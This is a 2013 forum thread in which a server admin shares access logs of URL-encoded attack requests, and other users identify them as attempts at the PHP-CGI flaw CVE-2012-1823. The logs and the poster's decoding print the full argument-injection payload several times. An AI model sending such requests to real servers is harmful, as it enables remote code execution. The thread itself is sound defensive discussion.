new remote exploit? (suhosin)

sehh

• November 02, 2013 09:08

Today I found a new kind of attack on our servers, but it doesn't seem to be successful, still I'd like to see what you guys think. The attacks come from the IP address (DE): 176.9.28.244 They attack all available domains/IP addresses on the server, via HTTP and HTTPS at the same time. 176.9.28.244 - - [02/Nov/2013:01:41:31 +0100] "POST //%63%67%69%2D%62%69%6E/%70%68%70%35?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 301 1339 "-" "Opera" 176.9.28.244 - - [02/Nov/2013:01:41:31 +0100] "POST //%63%67%69%2D%62%69%6E/%70%68%70%2D%63%67%69?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 301 1342 "-" "Opera" 176.9.28.244 - - [02/Nov/2013:01:41:31 +0100] "POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 301 1338 "-" "Opera" 176.9.28.244 - - [02/Nov/2013:01:41:31 +0100] "POST //%63%67%69%2D%62%69%6E/%70%68%70%34?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 301 1339 "-" "Opera" 176.9.28.244 - - [02/Nov/2013:01:41:31 +0100] "POST //%63%67%69%2D%62%69%6E/%70%68%70%2E%63%67%69?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 301 1342 "-" "Opera" 176.9.28.244 - - [02/Nov/2013:06:26:19 +0100] "-" 408 - "-" "-" 176.9.28.244 - - [02/Nov/2013:06:26:19 +0100] "-" 408 - "-" "-" 176.9.28.244 - - [02/Nov/2013:06:26:19 +0100] "-" 408 - "-" "-" 176.9.28.244 - - [02/Nov/2013:06:26:19 +0100] "-" 408 - "-" "-" 176.9.28.244 - - [02/Nov/2013:06:26:19 +0100] "-" 408 - "-" "-"
The above requests translate to: POST //cgi-bin/php5?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n POST //cgi-bin/php-cgi?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n POST //cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n POST //cgi-bin/php4?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n POST //cgi-bin/php.cgi?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n
Anyone seen this kind of attack before?

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  mtindor

  • November 02, 2013 15:27

  This would likely be related to: [url=http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823]CVE - CVE-2012-1823 [url=http://cpanel.net/cpanel-protects-against-php-vulnerability/]cPanel Protects Against PHP Vulnerability | cPanel, Inc. [url=http://www.cloudlinux.com/blog/clnews/?category=110]CloudLinux Unofficial News - Messages with tag "CVE-2012-1823" and more recently: [url=http://www.webhostingtalk.com/showthread.php?t=1317514&highlight=CVE-2012-1823]Apache/PHP 5.x Remote Code Execution Exploit - Hosting Security and Technology - Web Hosting Talk I've seen an increase in modsecurity hits for this on a few client servers I manage, since 10-29. Mike

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  sehh

  • November 02, 2013 17:57

  Ah I see, thanks for the explanation!

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  quizknows

  • November 02, 2013 18:21

  mtindor nailed it. This is a non-issue unless you use cgi for php handling (which most cPanel users don't), and also a non-issue on cPanel boxes anyway as explained by the provided links. Pretty clever of them to urlencode the whole request.

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  cPanelMichael

  • November 04, 2013 12:21

  Hello :) Here is a snippet from the cPanel news release on CVE-2012-1823 from May of 2012 for others who may review this thread: [QUOTE]cPanel & WHM servers are not affected by this, thanks in part to a wrapper script used by cPanel & WHM when Apache is configured to use CGI for the PHP handler. This wrapper script does not pass through any command line options.
  The full report, as mentioned earlier in this thread, is available at: cPanel Protects Against PHP Vulnerability Thank you.

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